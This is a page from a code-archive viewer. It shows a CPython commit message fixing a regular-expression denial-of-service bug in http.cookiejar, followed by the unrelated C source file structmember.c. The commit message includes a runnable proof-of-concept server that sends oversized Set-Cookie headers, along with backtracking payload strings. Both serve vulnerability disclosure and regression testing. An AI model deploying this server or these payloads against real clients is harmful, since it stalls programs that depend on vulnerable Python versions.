Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)
Co-authored-by: bcaller <bcaller@users.noreply.github.com> 1 parent d4d7920
Tip revision: cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: cb60851
structmember.c
/* Map C struct members to Python object attributes */
#include "Python.h"
#include "structmember.h"
PyObject *
PyMember_GetOne(const char *addr, PyMemberDef *l)
{
PyObject *v;
addr += l->offset;
switch (l->type) {
case T_BOOL:
v = PyBool_FromLong(*(char*)addr);
break;
case T_BYTE:
v = PyLong_FromLong(*(char*)addr);
break;
case T_UBYTE:
v = PyLong_FromUnsignedLong(*(unsigned char*)addr);
break;
case T_SHORT:
v = PyLong_FromLong(*(short*)addr);
break;
case T_USHORT:
v = PyLong_FromUnsignedLong(*(unsigned short*)addr);
break;
case T_INT:
v = PyLong_FromLong(*(int*)addr);
break;
case T_UINT:
v = PyLong_FromUnsignedLong(*(unsigned int*)addr);
break;
case T_LONG:
v = PyLong_FromLong(*(long*)addr);
break;
case T_ULONG:
v = PyLong_FromUnsignedLong(*(unsigned long*)addr);
break;
case T_PYSSIZET:
v = PyLong_FromSsize_t(*(Py_ssize_t*)addr);
break;
case T_FLOAT:
v = PyFloat_FromDouble((double)*(float*)addr);
break;
case T_DOUBLE:
v = PyFloat_FromDouble(*(double*)addr);
break;
case T_STRING:
if (*(char**)addr == NULL) {
Py_INCREF(Py_None);
v = Py_None;
}
else
v = PyUnicode_FromString(*(char**)addr);
break;
case T_STRING_INPLACE:
v = PyUnicode_FromString((char*)addr);
break;
case T_CHAR:
v = PyUnicode_FromStringAndSize((char*)addr, 1);
break;
case T_OBJECT:
v = *(PyObject **)addr;
if (v == NULL)
v = Py_None;
Py_INCREF(v);
break;
case T_OBJECT_EX:
v = *(PyObject **)addr;
if (v == NULL)
PyErr_SetString(PyExc_AttributeError, l->name);
Py_XINCREF(v);
break;
case T_LONGLONG:
v = PyLong_FromLongLong(*(long long *)addr);
break;
case T_ULONGLONG:
v = PyLong_FromUnsignedLongLong(*(unsigned long long *)addr);
break;
case T_NONE:
v = Py_None;
Py_INCREF(v);
break;
default:
PyErr_SetString(PyExc_SystemError, "bad memberdescr type");
v = NULL;
}
return v;
}
#define WARN(msg) \
do { \
if (PyErr_WarnEx(PyExc_RuntimeWarning, msg, 1) < 0) \
return -1; \
} while (0)
int
PyMember_SetOne(char *addr, PyMemberDef *l, PyObject *v)
{
PyObject *oldv;
addr += l->offset;
if ((l->flags & READONLY))
{
PyErr_SetString(PyExc_AttributeError, "readonly attribute");
return -1;
}
if (v == NULL) {
if (l->type == T_OBJECT_EX) {
/* Check if the attribute is set. */
if (*(PyObject **)addr == NULL) {
PyErr_SetString(PyExc_AttributeError, l->name);
return -1;
}
}
else if (l->type != T_OBJECT) {
PyErr_SetString(PyExc_TypeError,
"can't delete numeric/char attribute");
return -1;
}
}
switch (l->type) {
case T_BOOL:{
if (!PyBool_Check(v)) {
PyErr_SetString(PyExc_TypeError,
"attribute value type must be bool");
return -1;
}
if (v == Py_True)
*(char*)addr = (char) 1;
else
*(char*)addr = (char) 0;
break;
}
case T_BYTE:{
long long_val = PyLong_AsLong(v);
if ((long_val == -1) && PyErr_Occurred())
return -1;
*(char*)addr = (char)long_val;
/* XXX: For compatibility, only warn about truncations
for now. */
if ((long_val > CHAR_MAX) || (long_val < CHAR_MIN))
WARN("Truncation of value to char");
break;
}
case T_UBYTE:{
long long_val = PyLong_AsLong(v);
if ((long_val == -1) && PyErr_Occurred())
return -1;
*(unsigned char*)addr = (unsigned char)long_val;
if ((long_val > UCHAR_MAX) || (long_val < 0))
WARN("Truncation of value to unsigned char");
break;
}
case T_SHORT:{
long long_val = PyLong_AsLong(v);
if ((long_val == -1) && PyErr_Occurred())
return -1;
*(short*)addr = (short)long_val;
if ((long_val > SHRT_MAX) || (long_val < SHRT_MIN))
WARN("Truncation of value to short");
break;
}
case T_USHORT:{
long long_val = PyLong_AsLong(v);
if ((long_val == -1) && PyErr_Occurred())
return -1;
*(unsigned short*)addr = (unsigned short)long_val;
if ((long_val > USHRT_MAX) || (long_val < 0))
WARN("Truncation of value to unsigned short");
break;
}
case T_INT:{
long long_val = PyLong_AsLong(v);
if ((long_val == -1) && PyErr_Occurred())
return -1;
*(int *)addr = (int)long_val;
if ((long_val > INT_MAX) || (long_val < INT_MIN))
WARN("Truncation of value to int");
break;
}
case T_UINT:{
unsigned long ulong_val = PyLong_AsUnsignedLong(v);
if ((ulong_val == (unsigned long)-1) && PyErr_Occurred()) {
/* XXX: For compatibility, accept negative int values
as well. */
PyErr_Clear();
ulong_val = PyLong_AsLong(v);
if ((ulong_val == (unsigned long)-1) &&
PyErr_Occurred())
return -1;
*(unsigned int *)addr = (unsigned int)ulong_val;
WARN("Writing negative value into unsigned field");
} else
*(unsigned int *)addr = (unsigned int)ulong_val;
if (ulong_val > UINT_MAX)
WARN("Truncation of value to unsigned int");
break;
}
case T_LONG:{
*(long*)addr = PyLong_AsLong(v);
if ((*(long*)addr == -1) && PyErr_Occurred())
return -1;
break;
}
case T_ULONG:{
*(unsigned long*)addr = PyLong_AsUnsignedLong(v);
if ((*(unsigned long*)addr == (unsigned long)-1)
&& PyErr_Occurred()) {
/* XXX: For compatibility, accept negative int values
as well. */
PyErr_Clear();
*(unsigned long*)addr = PyLong_AsLong(v);
if ((*(unsigned long*)addr == (unsigned long)-1)
&& PyErr_Occurred())
return -1;
WARN("Writing negative value into unsigned field");
}
break;
}
case T_PYSSIZET:{
*(Py_ssize_t*)addr = PyLong_AsSsize_t(v);
if ((*(Py_ssize_t*)addr == (Py_ssize_t)-1)
&& PyErr_Occurred())
return -1;
break;
}
case T_FLOAT:{
double double_val = PyFloat_AsDouble(v);
if ((double_val == -1) && PyErr_Occurred())
return -1;
*(float*)addr = (float)double_val;
break;
}
case T_DOUBLE:
*(double*)addr = PyFloat_AsDouble(v);
if ((*(double*)addr == -1) && PyErr_Occurred())
return -1;
break;
case T_OBJECT:
case T_OBJECT_EX:
Py_XINCREF(v);
oldv = *(PyObject **)addr;
*(PyObject **)addr = v;
Py_XDECREF(oldv);
break;
case T_CHAR: {
const char *string;
Py_ssize_t len;
string = PyUnicode_AsUTF8AndSize(v, &len);
if (string == NULL || len != 1) {
PyErr_BadArgument();
return -1;
}
*(char*)addr = string[0];
break;
}
case T_STRING:
case T_STRING_INPLACE:
PyErr_SetString(PyExc_TypeError, "readonly attribute");
return -1;
case T_LONGLONG:{
long long value;
*(long long*)addr = value = PyLong_AsLongLong(v);
if ((value == -1) && PyErr_Occurred())
return -1;
break;
}
case T_ULONGLONG:{
unsigned long long value;
/* ??? PyLong_AsLongLong accepts an int, but PyLong_AsUnsignedLongLong
doesn't ??? */
if (PyLong_Check(v))
*(unsigned long long*)addr = value = PyLong_AsUnsignedLongLong(v);
else
*(unsigned long long*)addr = value = PyLong_AsLong(v);
if ((value == (unsigned long long)-1) && PyErr_Occurred())
return -1;
break;
}
default:
PyErr_Format(PyExc_SystemError,
"bad memberdescr type for %s", l->name);
return -1;
}
return 0;
}
Computing file changes ...
